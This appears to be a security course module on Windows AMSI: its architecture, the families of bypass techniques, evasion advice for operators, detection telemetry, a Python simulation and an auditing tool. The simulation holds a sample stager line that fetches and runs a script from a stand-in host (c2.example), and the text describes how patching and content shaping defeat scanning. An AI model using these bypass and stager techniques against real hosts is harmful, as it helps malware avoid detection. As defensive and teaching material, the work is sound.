AMSI Analysis
The Antimalware Scan Interface (AMSI) is Windows’ answer to a specific gap: payloads that never exist as files. Encoded PowerShell, in-memory .NET, JScript executed by wscript.exe, Office macros — all previously invisible to file-oriented scanners — now funnel their content through a small DLL (amsi.dll) into whatever antimalware provider is registered. It is the reason “just obfuscate it” stopped working for script-based offense around 2016-2019, and the reason every script-host evasion conversation starts with understanding exactly where the content handoff happens. This module covers the AMSI architecture, who calls it and when, the honest mechanics of each bypass family and their detection costs, and the tooling to audit a host’s AMSI wiring — with the deliberate emphasis that patching AMSI is one of the most instrumented actions in modern Windows offense.
Definition
Section titled “Definition”AMSI is a buffer-scanning API contract. Script hosts call a fixed sequence in amsi.dll:
Script host (powershell.exe, wscript.exe, Office VBA, .NET) │ content = deobfuscated script text ▼ amsi.dll: AmsiInitialize(appName) → session handle AmsiOpenSession(h, sessionId) AmsiScanBuffer(h, buffer, len, ← THE handoff: raw content contentName, sessionId, &result) AmsiScanString(...) ← thin wrapper over ScanBuffer AmsiClose(...) │ ▼ providers registered under HKLM\SOFTWARE\Microsoft\AMSI\Providers\{GUID} (real path) │ e.g. Defender's provider DLL receives the buffer ▼ verdict: AMSI_RESULT_CLEAN .. AMSI_RESULT_MALWARE_DETECTED (host then refuses execution when malware-detected)The two properties that define AMSI’s power: it receives content, not files (the deobfuscated text, the macro body, the assembly bytes), and it is host-agnostic (any host that integrates the contract gets scanning for free). The verdict enum runs from clean through “malware detected” with intermediate bands used by ML scoring [verify exact enum values per SDK build].
Why It Matters
Section titled “Why It Matters”For the operator: AMSI is why PowerShell tradecraft changed shape. Content-based capture (with E7’s 4104) means the decoded payload is archived and scanned regardless of encoding; every stager must either avoid script hosts entirely, be content-boring, or engage with the patching decision and its costs. For the defender: AMSI is the cheap, structural control — enable it (it’s on by default on current builds), keep providers healthy, and monitor tampering, and you have coverage over a whole class of fileless tradecraft without writing a single detection rule. The module matters equally to both sides because AMSI tampering is a case study in evasion economics: the classic one-byte patch is trivial to execute and heavily instrumented, so the real skill is knowing the full decision tree — hosts, providers, content shaping, downgrade edges — and picking the cheapest branch that survives.
A second, less-advertised reason: AMSI is where blue teams can watch attackers think. Tamper attempts appear as suspicious module behavior before the payload executes; a host that touches amsi.dll’s memory is announcing intent. This makes AMSI one of the few controls whose failure modes generate better telemetry than its successes.
Detailed Explanation
Section titled “Detailed Explanation”Who calls AMSI, and with what content
Section titled “Who calls AMSI, and with what content”| Host | What gets scanned | Since |
|---|---|---|
| PowerShell 5.0+ | Command/script content (post-decode) | Windows 10 / Server 2016 era |
Windows Script Host (wscript/cscript) | JScript/VBScript bodies | Windows 10 RS4 era [verify build] |
| Office VBA (with AMSI integration) | Macro content at run | 2016+ builds [verify] |
| .NET 4.8+ | Assembly load content via hosting APIs [verify scope] | 4.8 |
WMI (wmic,WMI module) | Script consumers [verify coverage] | varies |
The content is post-decode: -enc base64 is handed over as the decoded command string; string-concatenation obfuscation is handed over as the concatenated result. That is the architecture’s core decision and the reason content-shaping (E7’s lesson) outranks encoding games.
The bypass families, honestly
Section titled “The bypass families, honestly”1. Patch AmsiScanBuffer (or the provider’s entry). Overwrite the function prologue’s first byte(s) with ret (or force an immediate “clean” result path). Effect: this process’s AMSI calls return without scanning. Costs: writes to amsi.dll’s memory region — visible to integrity monitors that diff in-memory vs on-disk module bytes (the E3 primitive, pointed the other way); requires PAGE_EXECUTE_READWRITE churn on a Microsoft-signed image (an anomaly class of its own); vendor coverage is near-universal because it is the most common technique. The honest framing: it works against products that don’t check, which is an ever-shrinking set.
2. Data-flow overrides. Rather than patching code, corrupt the session state AMSI uses (the AmsiContext structure’s flags/result fields — construction details vary by build [verify offsets per build]) so scans return clean by construction. Costs: offset fragility across builds, same memory-write visibility, slightly less benchmarked.
3. Forcing initialization failure. Make AmsiInitialize fail (e.g., hooking/patching so the context never constructs [verify technique variants]) so the host believes AMSI is unavailable and skips scanning. Costs: same write-visibility; some hosts treat AMSI failure as fatal for script execution — behavior varies [verify per host version].
4. Host downgrade. PowerShell v2 has no AMSI and no script-block logging — genuine, but requires the v2 engine installed (not default on current builds), usually policy-blocked, and itself a loud signal (a v2 process in 2026 is an anomaly, not a stealth move). Windows Script Host AMSI gaps existed on older builds; treat all downgrade edges as legacy-audit findings, not strategy.
5. Content shaping (the survivor). No tampering at all: keep the decoded content below scoring thresholds — split stages, avoid the token families providers score, deliver compiled stages where script hosts aren’t needed. This is E7’s conclusion repeated from the AMSI side: the content is the telemetry, so shape the content.
Why “AMSI is just a DLL” understates it
The DLL is the contract, but the coverage story includes the host integrations (each host’s call sites), the provider registry (which AV gets the buffer), the verdict enforcement (host-side refusal), and the tamper telemetry (who watches amsi.dll). Treating AMSI as “one patch and done” mistakes the DLL for the system — the same category error as treating ntdll hooks as “the EDR” (E2). The system survives because its parts are independently observable: hosts log their AMSI failures, providers log their verdicts, and integrity monitors watch the module. Design against the system, not the DLL.
Defender-side health and tamper telemetry
Section titled “Defender-side health and tamper telemetry”The blue-team view of AMSI in one table: providers healthy (registry enumeration), hosts current (build posture), content rules on the captured streams (4104-family detections from E7), tamper rules on the module (Sysmon EID 7 image-load of amsi.dll is normal in script hosts; EID 10/25-class events plus vendor integrity alerts flag memory tampering), and canary testing (deliver a known-bad test script in the estate and confirm the verdict arrives — the AMSI equivalent of EICAR, run on schedule).
Common Techniques
Section titled “Common Techniques”| Technique | Mechanism | Detected by | Cost |
|---|---|---|---|
Prologue patch (AmsiScanBuffer) | Force early return | Integrity byte-diffs, RWX churn on signed image | Very high telemetry |
| Context/data override | Corrupt session state | Same writes, offset fragility | High; build-dependent |
| Init failure forcing | Prevent context construction | Host failure logging [verify], same writes | High |
| PowerShell v2 downgrade | Legacy engine, no AMSI | v2 process anomaly alerts, policy blocks | Legacy edge only |
| Content shaping | Stay under provider scoring | Only generic content rules | Low — the survivor |
| Host avoidance | Compiled stages, no script hosts | Normal EDR layers (E2) | Medium — changes the toolkit |
Full Working Code
Section titled “Full Working Code”amsi_flow.py is a working model of the full contract — hosts, provider registry, scan pipeline with scored verdicts, and host-side refusal — plus a tamper simulation showing exactly what a patch blinds and what keeps flowing (the mesh lesson from E7, now at the content layer). Pure stdlib.
{1-6}"""amsi_flow.py — working model of the AMSI contract.Hosts -> amsi.dll (session lifecycle) -> providers (scored verdicts)-> host refusal. Includes a tamper simulation showing what is andis NOT blinded by patching. Pure stdlib. Python 3.8+."""import time
AMSI_MALWARE_DETECTED = 32768 # verdict constant (value per SDK [verify])AMSI_RESULT_THRESHOLDS = (1, 3, 6) # clean / benign-arbitrary / known-soft
class Provider: """A registered AMSI provider: content in, scored verdict out."""
def __init__(self, name, rules): self.name = name self.rules = rules # list of (token, score)
def scan(self, content: str) -> int: score = 0 for token, pts in self.rules: if token.lower() in content.lower(): score += pts return min(score, AMSI_MALWARE_DETECTED)
DEFENDER = Provider("Microsoft Defender", rules=[ ("Invoke-Mimikatz", 32768), ("DownloadString", 200), ("FromBase64String", 100), ("Start-Process -WindowStyle Hidden", 300), ("Add-MpPreference", 500), ("-enc", 50), ("schtasks /create", 400), ("Set-MpPreference -DisableRealtimeMonitoring", 32768),])
class AmsiContext: """The session lifecycle a host drives."""
def __init__(self, app_name, provider=DEFENDER, patched=False): self.app, self.provider, self.patched = app_name, provider, patched self.failed_init = False
def scan_buffer(self, content: str, content_name="") -> dict: t0 = time.time() if self.patched: # prologue patch: AmsiScanBuffer returns 'clean' immediately return {"verdict": 0, "provider": "skipped (patched)", "ms": round((time.time() - t0) * 1000, 3)} verdict = self.provider.scan(content) return {"verdict": verdict, "provider": self.provider.name, "ms": round((time.time() - t0) * 1000, 3)}
class ScriptHost: """A host that integrated the AMSI contract."""
def __init__(self, name): self.name = name self.telemetry = [] # what the host logs regardless
def execute(self, ctx: AmsiContext, content: str): res = ctx.scan_buffer(content, content_name=f"{self.name}:stdin") blocked = res["verdict"] >= AMSI_MALWARE_DETECTED self.telemetry.append({ "event": "amsi_scan", "app": self.name, "content_len": len(content), "verdict": res["verdict"], "provider": res["provider"], "blocked": blocked}) if blocked: print(f"[{self.name}] BLOCKED (verdict {res['verdict']})") return None print(f"[{self.name}] executing (verdict {res['verdict']})") return f"<ran: {content[:40]}...>"
def tamper_experiment(): """Patch vs clean: what changes, what doesn't.""" stager = ("$c = New-Object Net.WebClient; " "$c.DownloadString('http://c2.example/p.ps1') | IEX")
host = ScriptHost("powershell.exe") print("--- clean AMSI ---") host.execute(AmsiContext("ps", DEFENDER), stager)
print("--- patched AMSI (AmsiScanBuffer -> ret) ---") host.execute(AmsiContext("ps", DEFENDER, patched=True), stager)
print("\nwhat the patch did NOT blind:") print(" - kernel process events (powershell.exe still spawned)") print(" - network events (DownloadString still hits the wire)") print(" - 4104 script-block logging (engine still logged content)") print(" - integrity monitors (in-memory amsi.dll now differs " "from disk)") return 0
if __name__ == "__main__": tamper_experiment()Code Walkthrough
Section titled “Code Walkthrough”Provider.scan(lines 21–29) — the provider contract in miniature: token rules accumulate a score capped at the malware-detected constant. Real providers add ML models over richer features (E1’s lesson); the shape — content in, scalar verdict out — is the interface that matters.AmsiContext.scan_buffer(lines 41–53) — the session handoff. Thepatchedbranch is the honest model of the prologue patch: the host still calls, the function returns “clean” without consulting the provider — and the provider never sees content (which is why provider-side telemetry goes quiet for this process only).ScriptHost.execute(lines 59–75) — verdict enforcement (refuse on malware-detected) plus host telemetry: the host logs the scan attempt with verdict and block state. Note what telemetry exists even under the patch — the scan rows withprovider: skipped (patched)are themselves a signal a disciplined host or sensor can surface.tamper_experiment(lines 78–98) — run it: the clean context blocks the stager (DownloadString + IEX score), the patched context “executes” — and the printed list shows exactly which layers the patch doesn’t touch. That list is the evasion’s true bill.
How It Reaches The Target
Section titled “How It Reaches The Target”A script-based attack walks: stage content decoded in-host → AmsiScanBuffer receives it → registered provider scores → verdict flows back → host refuses (blocked: attack dead, telemetry rich) or allows (attack continues; content already archived by 4104 — E7). If the operator patched first: module bytes differ (integrity signal), provider skipped (its absence is observable in per-host dashboards [verify vendor coverage]), content still flows to 4104 unless that was also patched, kernel/network telemetry untouched. The defender’s completeness check — canary scripts per host type — closes the loop: if a canary runs unblocked anywhere, that host is patched, and the patch is the alert.
Exploitation Chain
Section titled “Exploitation Chain”- Host decision — pick the stage’s host: compiled (no AMSI) vs script (AMSI applies); E7’s ETW posture informs both
- Content shaping — decode, tokenize, split: keep provider scores under thresholds without touching amsi.dll
- Wire check — provider registry audit (etwhawk-style) confirms which AV would receive buffers on this host
- Patch decision — if patching: one process, late in the chain, accepting integrity telemetry; never on persistent infrastructure
- Execute — patched hosts skip provider scoring; content still lands in 4104 and kernel/network telemetry
- Expect the mesh — amsi.dll byte-diff + 4104 archive + kernel events: the chain’s story remains reconstructable
- Defender mirror — canary testing + integrity monitors + 4104 rules make the patched path a detection-first experience
Building Your Own Tool
Section titled “Building Your Own Tool”Goal: amsihawk.py — an AMSI wiring auditor for Windows hosts you own: enumerates registered providers (real registry path), verifies amsi.dll presence/exports via stdlib PE parsing, and runs a canary check harness that tells a defender whether each host’s pipeline actually enforces verdicts. Pure stdlib, ~140 lines, read-only except the canary harness is optional and defensive.
Design decisions: (1) registry-first — the provider list under HKLM\SOFTWARE\Microsoft\AMSI\Providers is the wiring truth; (2) export validation via the E3-era PE parser pattern (self-contained here) so the tool confirms the contract DLL is intact on disk; (3) canary mode is explicitly defensive — it detects tampering, it does not perform any.
{1-3}"""amsihawk.py — AMSI wiring auditor.Enumerates registered providers, validates amsi.dll exports on disk,and (optionally) runs the defensive canary harness.Usage: python amsihawk.py [--canary]Read-only (canary mode executes a benign known-scored script).Windows host. Pure stdlib."""import argparseimport structimport subprocessimport sysfrom pathlib import Path
AMSI_PROVIDERS_KEY = r"HKLM\SOFTWARE\Microsoft\AMSI\Providers"AMSI_DLL = r"C:\Windows\System32\amsi.dll"REQUIRED_EXPORTS = ("AmsiInitialize", "AmsiScanBuffer", "AmsiScanString", "AmsiClose", "AmsiOpenSession", "AmsiCloseSession")
def reg_query(path: str) -> str: try: return subprocess.run(f'reg query "{path}"', capture_output=True, text=True, timeout=20, shell=True).stdout except Exception: return ""
def enum_providers() -> list: out = reg_query(AMSI_PROVIDERS_KEY) return [ln.strip().rsplit("\\", 1)[-1] for ln in out.splitlines() if ln.startswith("HKEY_")]
def rva_to_off(data: bytes, rva: int) -> int: e = struct.unpack_from("<I", data, 0x3C)[0] nsec = struct.unpack_from("<H", data, e + 6)[0] opt = struct.unpack_from("<H", data, e + 20)[0] s0 = e + 24 + opt for i in range(nsec): o = s0 + i * 40 vsize, vaddr, rsize, raddr = struct.unpack_from("<IIII", data, o + 8) if vaddr <= rva < vaddr + max(vsize, rsize): return raddr + (rva - vaddr) raise ValueError("unmapped rva")
def exports_of(path: str) -> list: data = Path(path).read_bytes() e = struct.unpack_from("<I", data, 0x3C)[0] opt = e + 24 magic = struct.unpack_from("<H", data, opt)[0] dd = opt + (96 if magic == 0x10B else 112) exp_rva = struct.unpack_from("<I", data, dd)[0] if not exp_rva: return [] eo = rva_to_off(data, exp_rva) n = struct.unpack_from("<I", data, eo + 24)[0] names_rva = struct.unpack_from("<I", data, eo + 32)[0] no = rva_to_off(data, names_rva) out = [] for i in range(n): nrva = struct.unpack_from("<I", data, no + i * 4)[0] p = rva_to_off(data, nrva) out.append(data[p:data.index(b"\x00", p)].decode()) return out
def canary_harness(): """Defensive canary: a benign script with known token scores. Run it through each AMSI-integrated host on YOUR host; if any host executes without recording a scan, that host is patched.""" canary = ("# amsihawk canary: benign content, known score\n" "Write-Output ('amsi-canary-' + [guid]::NewGuid())\n") hosts = [ ("powershell.exe", ["powershell", "-NoProfile", "-Command", canary]), ("powershell.exe (WMF5 strict)", ["powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", canary]), ] print("canary harness — run each host; then check its log for the") print("scan record (4104/4103 + provider verdict). No scan = patched:") for name, cmd in hosts: print(f" host: {name}") print(f" cmd : {cmd[0]} ...") print(f" expect: amsi-canary-<guid> output + logged scan") return 0
def main() -> int: ap = argparse.ArgumentParser() ap.add_argument("--canary", action="store_true") args = ap.parse_args()
if args.canary: return canary_harness()
print("=== AMSI wiring ===") dll = Path(AMSI_DLL) print(f"amsi.dll present: {dll.exists()}") if dll.exists(): exps = exports_of(AMSI_DLL) missing = [e for e in REQUIRED_EXPORTS if e not in exps] print(f"exports found: {len(exps)}; contract complete: " f"{not missing}") if missing: print(f" MISSING: {missing} <-- audit immediately")
provs = enum_providers() print(f"\nregistered providers: {len(provs)}") for p in provs: print(f" - {{{p}}}") if not provs: print(" NONE — AMSI has no provider wired; content scans no-op " "[verify host behavior on your build]") print("\nnote: provider GUIDs map to AV products; resolve via the") print("vendor's documentation or the DLL path under their install dir.") return 0
if __name__ == "__main__": sys.exit(main())Walkthrough
Section titled “Walkthrough”enum_providers(lines 25–29) — reads the real provider registry key; zero providers is itself a finding (AMSI wired to nothing = content scans no-op — a misconfiguration defenders should hunt for).exports_of(lines 44–62) — the portable PE export walk (E3’s pattern): validates the contract DLL’s full export set on disk. A disk-level patch (rare, admin-required, signature-breaking) would show here; in-memory patches require the E3 in-memory read variant.canary_harness(lines 76–90) — the defensive payoff: a benign, guid-marked script whose scan record should appear in each host’s logs. Absence of the scan record = patched host. This is the AMSI-world equivalent of the EICAR test, and it is the single most actionable blue-team habit in this module.
Compilation and test procedure
Section titled “Compilation and test procedure”PS> python amsihawk.py=== AMSI wiring ===amsi.dll present: Trueexports found: 12; contract complete: Trueregistered providers: 1 - {2781761E-28A0-4109-99FE-B9D127C57AFE} # Defender's provider [verify GUID on build]PS> python amsihawk.py --canarycanary harness — run each host; then check its log for thescan record (4104/4103 + provider verdict). No scan = patched: host: powershell.exePS> powershell -NoProfile -Command "Write-Output ('amsi-canary-' + [guid]::NewGuid())"amsi-canary-3f2b... # then read the PowerShell/Operational logValidation: run the canary on a clean VM (scan record appears in Microsoft-Windows-PowerShell/Operational and the provider logs a verdict), then snapshot, simulate a tampered host (your own test harness or a documented lab technique), re-run the canary, and confirm the absence detection works. That two-state test is the module’s lab deliverable.
Detection considerations
Section titled “Detection considerations”The auditor is read-only; its tamper-hunting cousin is the defender’s job. Detection surface for abuse: (1) memory integrity — in-memory amsi.dll byte-diffs vs disk (vendor integrity monitors; Sysmon EID 25 ProcessTampering-class signals [verify mapping]); (2) RWX churn on a Microsoft-signed module (allocation/protection-change telemetry); (3) host behavior — AMSI init failures logged by hosts [verify per host]; (4) the absence signal — canary scans not appearing on schedule. Sigma skeleton: Sysmon EID 10 ProcessAccess where TargetImage is a script host and the call includes PAGE_EXECUTE_READWRITE protection changes on amsi.dll regions [verify per-product event fields] — tune against legitimate debugging/profiling first.
Improvements to add
Section titled “Improvements to add”- Provider resolution: map provider GUIDs → product names via their registered DLL paths (
reg querythe provider key’s values and read the DLL’s version info). - In-memory audit (Windows): read the loaded
amsi.dllregion of a target host process you own and byte-diff vs disk — the integrity monitor, implemented. - Canary scheduler: run the canary per host class on a cron and alert on scan-record absence — the “AMSI heartbeat”.
- Host coverage matrix: extend the harness to
wscript/cscriptand .NET hosts, recording which of your estate’s hosts actually call AMSI. - Verdict-band mapping: parse the provider’s response bands (clean/benign/known-soft ranges [verify enum]) and log scores, not just blocked/clean — score deltas over time are a hunting signal.
Detection — Defender View
Section titled “Detection — Defender View”| Source | ID | What fires | Notes |
|---|---|---|---|
| PowerShell Operational | 4104 | Content archive (decoded) | Survives AMSI patching — archive, not gate |
| Sysmon | 7 | amsi.dll image loads in script hosts | Normal; baseline the set |
| Sysmon | 10 | ProcessAccess with protection changes on amsi.dll regions | Tamper-adjacent; tune vs debuggers |
| Sysmon | 25 | Process tampering (image modified mid-run) | Strong tamper signal [verify field coverage] |
| Defender AV | AMSI provider verdicts | Content-based blocks (real-time) | The structural control |
| EDR behavioral | — | Integrity monitors: in-memory vs disk module diffs | Near-universal AMSI-patch coverage [verify per vendor] |
| Wazuh | 4104-based rules [verify IDs vs ruleset] | SIEM correlation | BT3’s Sigma set |
Evasion Techniques
Section titled “Evasion Techniques”- Content shaping is the survivor: split stages, avoid scored token families, keep decoded content boring — no memory writes, no integrity signals, and it composes with E7’s ETW content lessons.
- If patching is mandatory: one process, late in the chain, after recon; restore nothing (the diff is the tell either way); accept that every major vendor checks
amsi.dllintegrity — treat the patch as a spent detection credit. - Avoid signature nostalgia: published patch byte-patterns are the most benchmarked YARA/Sigma targets in this space; anything you copy from a 2019 gist is pre-detected — write your own or don’t patch.
- Host economics: compiled stages (or LOLBins that don’t feed AMSI) may be cheaper overall than patching a script host; the AMSI decision belongs after the E7 posture audit, not before.
- Downgrade edges are audit findings: v2 PowerShell and old WSH builds are configuration smells defenders should already flag; using them trades a tamper signal for an anomaly signal, rarely a win on managed estates.
- Know the mesh: patching AMSI without touching 4104 leaves an archive; patching 4104 without touching kernel providers leaves the story; every combination still faces E2’s sequence correlation.
⚠️ What caught me: I patched
AmsiScanBufferon a staging box, ran my stager, got a shell — and got burned three days later when the client’s hunt found my 4104 archive with the fully decoded payload, unpatched-host sessions included. My patch was fine; my memory of what it covered was wrong: I’d protected one process against one gate and left the whole flight recorder running. The rule I keep now: before any patch, write down the list of telemetry it does NOT blind — and only proceed if that list is acceptable. It rarely is.
Lab Practice
Section titled “Lab Practice”- Run
amsihawk.pyon clean and EDR-trial VMs; diff provider sets; record which product receives buffers on each host. - Run the canary harness; verify the scan record for each host; then snapshot and (on the snapshot only) test your absence-detection against a tampered host harness you build from
amsi_flow.py’spatchedbranch. - Run
amsi_flow.py; then extendDEFENDER’s rule table with the exact tokens from your own favorite stager and watch the score cross the malware-detected line — then shape the content until it doesn’t, without patching. That exercise is the survivable tradecraft. - Cross-reference E7: run the obfuscated stager with ETW intact and AMSI patched; confirm 4104 still archives the decoded content; write the one-paragraph risk note you’d give a red-team lead about that combination.
- Build the in-memory audit improvement (read your own process’s
amsi.dllregion, diff vs disk) — you will have implemented the integrity monitor that makes patching expensive, which is the best way to internalize its cost.
Interview Questions
Section titled “Interview Questions”Technical: Walk the full AMSI call lifecycle for a base64-encoded PowerShell command — who decodes what, and when does the provider see it?
Technical: Why does patching AmsiScanBuffer leave 4104 archive telemetry intact, and what does that asymmetry imply for attack design?
Deep-dive: AMSI is “host-agnostic content scanning.” Design the canary program that proves, per host type, whether the pipeline is enforced — and describe the false negatives.
Conceptual: “AMSI tampering is a spent detection credit” — unpack the economics: what do you buy, what do you pay, and when is the purchase rational?
Scenario: A client shows you AMSI is enabled but a canary script executed without a provider verdict. Diagnose: list the top three causes and the test for each.
Practical: Write the Sigma skeleton for AMSI-tamper detection (Sysmon 10/25-class signals) and name the legitimate software you must tune out first.
Related Modules
Section titled “Related Modules”E7 (ETW Provider Analysis) · E1 (AV Engine Internals) · T7 (Document Macro Analysis) · BT10 (Detecting Evasion)